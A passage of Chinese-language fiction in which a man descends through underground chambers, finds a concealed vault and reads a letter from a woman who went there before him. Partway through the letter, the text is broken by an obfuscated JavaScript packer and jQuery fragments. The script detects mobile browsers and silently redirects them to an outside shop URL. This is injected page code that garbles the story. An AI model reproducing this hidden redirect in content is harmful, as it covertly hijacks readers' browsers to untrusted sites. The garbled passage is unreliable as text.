他回到牢房的时候天已经大亮了。阳光从窗洞里斜照进来，在地面上落下一块暖黄色的亮斑，正好落在那几本册子排列的位置上。他站在窗边，把四枚环从口袋里掏出来放在窗台上，让阳光照着它们。四枚环并排排列，每一枚的表面都在光照下显出不同的反射角度——最深的那枚表面布满细密的氧化层，浅灰色的那枚边缘有一道被磨损后露出的亮色，暗红色的那枚泛着一层柔和的铜光，那枚磨损最严重的则在光线下显出一道几乎贯穿整个环身的细纹，像是被长期佩戴之后在金属内部形成的应力线。他伸手沿着每一枚环的边缘摸了一遍，指尖依次走过它们各自的轮廓，然后在窗边站了一会儿，把四枚环收回口袋，沿着走廊往外走。
他走过干透的河床，脚下沉积物碎裂的声音比之前更脆了，像是整层河床在持续的干燥中已经完全硬化了。他沿着通道走到前厅，穿过内室，沿着台阶走到腔室，穿过裂隙，沿着坡道向下走，再次经过那扇铁质包铜的门。门还开着，和他离开时一样。他走进门后的空间，沿着那道已经消失的浅槽的走向走到尽头，在那块下沉的石板前蹲下来。石板已经沉到底了，与周围的地面形成了一个齐平的入口，入口边缘的沙土比他离开时稍微堆积了一些，像是从更远处被风带来的。他用手拨开入口边缘堆积的一层薄沙，然后沿着台阶往下走。
台阶比上层的任何一段都更长，两侧的墙壁从石砌变成了天然的岩面，颜色在持续的下降中从浅灰逐渐过渡到偏深的青灰色。他走了一阵，台阶在这里开始微微向右偏转，偏转的角度很小，几乎察觉不到，但他注意到墙面上有一道与之前相似的浅刻痕，像是施工时留下的标记，与他在主通道中见过的那些标记一致。他沿着那组标记的指向走了一阵，台阶在一段平缓的过渡之后重新变直。他走了一阵之后，台阶终于走完了。他站在一条横向的通道入口处。通道的宽度比上层的更窄，但高度足够，他抬手时指尖刚好能触到顶部的砖面。他沿着通道走了一阵，通道的末端与一片开阔的地面相连。他走进去，站在一个比上层任何空间都更开阔的腔室里，比他在旧河床结构中看到的那个腔室更大，地面的覆盖层由均匀的细沙构成，沙层的厚度均匀，颜色一致，像是被水流梳理过很长一段时间之后缓慢沉积下来的。腔室的顶部很高，油灯的光照不到顶端，灯光在远处的地面上持续地散开，形成一个逐渐淡去的光圈。
他沿着腔室的边缘走了一阵。在左侧的墙壁上，他看到了一组刻痕，比他之前见过的任何一组都更规整，像是用同一套工具刻下的。他走过去蹲下来查看那组刻痕。刻痕是由几道平行的竖线和弧线组成的，像是某种记数系统，每一组刻痕都对应着一个固定的间距，间距均匀。他沿着那组刻痕的方向走了一遍，发现它延伸到了腔室的另一侧，在那里组成了一个完整的图形。他退后几步，用油灯的光照亮了那个图形——它像是一个箭头，指向腔室中央的地面。箭头由刻痕组成，每一段刻痕的线条都保持着相同的深度和宽度。
他走到腔室中央，用脚拨开表层的细沙，露出了一个平整的表面——一块嵌入地面的石板，颜色比他之前见过的任何一块都深，像是被染过的，表面有一层极浅的光泽。石板表面没有文字，只有一个凹陷的形状。形状是一个手的轮廓，五指张开，像是要把手放进去。凹陷边缘的打磨很精细，不像是天然形成的，更像是经过专门加工。他蹲下来，把自己的手放进那个凹陷里。凹陷的深度和宽度与他的手型完全匹配，掌心和指腹恰好贴合在凹陷的底部。他感觉到掌心的位置有一个微微凸起的点，像是被按下之后可以移动的，触感比周围的石质更光滑，像是被反复触摸过。他加力向下压了一下，那点凸起被按了下去。石板内部传来一声连续的声响，像是链条在转动，链条的声响持续了一段时间，然后石板沿着一条纵向的轨道向下沉降了一小段，横向滑动，露出了一个向下的开口。
开口不大，边缘用铁皮包裹着，铁皮表面有一层暗色的保护层。开口内部有一道短梯，梯蹬是铁质的，表面有一层浅灰色的氧化膜。他侧身爬上短梯，脚踩到第一级铁质梯蹬上时，感受到一段持续而稳定的支撑力。他踩到底部的地面，地面是石质的，干燥，表面有一层极细的灰，像是长时间无人进入。他站直了，发现自己在一个更小的空间里，像是被隔出来的独立腔室。腔室的四壁平整，地面是石板铺成的，石板之间的缝隙紧密。空间中央有一个石台，台面不高，边缘有一层浅色的沉积物，像是干透后留下的矿化痕迹。他走到石台前，石台上放着一只铁质盒子，盒盖闭合，表面没有灰尘。他打开盒盖，里面是一张叠好的纸，纸面泛黄，边缘完整，折痕已被压平。
他展开那张纸。纸上的字迹，他认出了那笔迹——他在那些信上见过，他在那本薄册子上见过，他在地底铁盒里的纸条上见过。墨水已经褪成了浅褐色，但每个字母都还能辨认清楚。
“如果你能读到这里，说明你已经走完了我曾经走过的所有路。我在这条路上走到了我能走的最后一步。我不知道这算不算终点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825202|211227||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，但对我来说，它是能走到的最后一个地方了。我没有继续走。我在这张纸的背面留下了一段话。如果你愿意的话，你可以在离开之后把它转交给那些曾帮我保管过信件的人。”
他把纸翻过来。背面没有字，只有一幅简笔画，画的一棵树的轮廓，树冠很大，枝干低垂，与河边那棵树的轮廓一致。画的线条很轻，像是在放松的状态下画出来的。纸的右下角没有署名，没有日期，只有一个极小的墨点，像笔尖在那里停了一瞬才被抬起。他把纸重新叠好放回盒子里，把盒子盖好，站起来。他没有沿着短梯爬回去。他站在那个小空间的中央，环顾了一圈四壁，确认了四个墙角没有暗门、凹槽或标记。他在那个低矮的空间里站了一会儿，石台表面的温度在持续的静置中保持着恒定的凉意，那张纸的折痕已经在他手中重新压平了。他沿短梯爬回上层，把石板推回原位，用手把细沙重新覆盖均匀，然后沿着腔室走回通道入口，沿着台阶一步步走回上层。经过那扇铁质包铜的门时他没有停步，径直走出门外，沿着坡道走到河岸上。
他把那张叠好的纸从口袋里掏出来放在膝盖上，在晨光中展开，又看了一遍。那棵树的位置他认得，他后来也在那棵树下坐过很长时间。纸上的墨迹在那段话的末端微微变淡，像是笔尖在快要用尽时写下了最后一行。那段话他没有读完之前就已经在脑海里形成了完整的轮廓——他走过的那些通道，她走过。他找到的那些铁盒，她放过。他停下来的位置，她也停过。这封信写于某个他还不知道的时间点，被放在这个无人翻动的铁盒里，等待某个能走到这里的人打开它。那个能走到这里的人，现在是他。
他坐在那里，把那幅画看了很久，久到膝盖上的纸张被日光完全焐热了，才把它重新叠好，放回外套内袋里，贴着那四枚环放着。四枚环的轮廓隔着衣料压着信纸的边缘，像是在那段话的旁边留出了它自己的位置。他站起身，沿着河岸朝牢房走去。太阳已经升高了，脚下的河床在持续的干热中变得更硬更白，他的脚步声在空旷的河道中持续地回响了几下，便安静了下来。水声从河床深处传上来，比之前更远了，像是已经退到了他听不见的距离，只留下一层从干透的河床上持续升起的薄雾，在晨光中缓缓消散。他在河岸边站了一会儿，远处河床的轮廓在光照下越来越清晰，干透的沉积物表面呈现出细密的龟裂纹路，像是整条河的底层正在缓慢地适应它新的高度。他听着远处的水声正在变成一种持续的低频振动，从更深处传上来，然后转身走回牢房的方向。